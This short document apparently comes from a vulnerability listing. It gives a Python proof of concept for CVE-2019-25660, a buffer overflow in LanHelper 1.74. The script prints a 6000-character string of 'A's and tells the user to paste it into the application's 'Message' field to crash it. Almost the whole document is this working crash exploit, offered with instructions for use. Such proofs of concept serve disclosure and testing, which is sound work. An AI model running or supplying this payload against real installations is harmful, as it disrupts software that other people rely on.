CVE-2019-25660 LanHelper本地缓冲区溢出漏洞

# Proof of Concept (PoC) for CVE-2019-25660 # This script generates a payload to crash LanHelper 1.74 # by exploiting a buffer overflow in the 'Send Message' feature. def generate_crash_payload(): # The vulnerability is triggered by a string of approximately 6000 bytes payload_size = 6000 # Creating a pattern of 'A' characters to overflow the buffer crash_payload = "A" * payload_size return crash_payload if __name__ == "__main__": print("[+] Generating payload for CVE-2019-25660...") print("[+] Copy the text below and paste it into the 'Message' field in LanHelper.") print("-" * 30) print(generate_crash_payload()) print("-" * 30) print("[+] If successful, the application should crash.")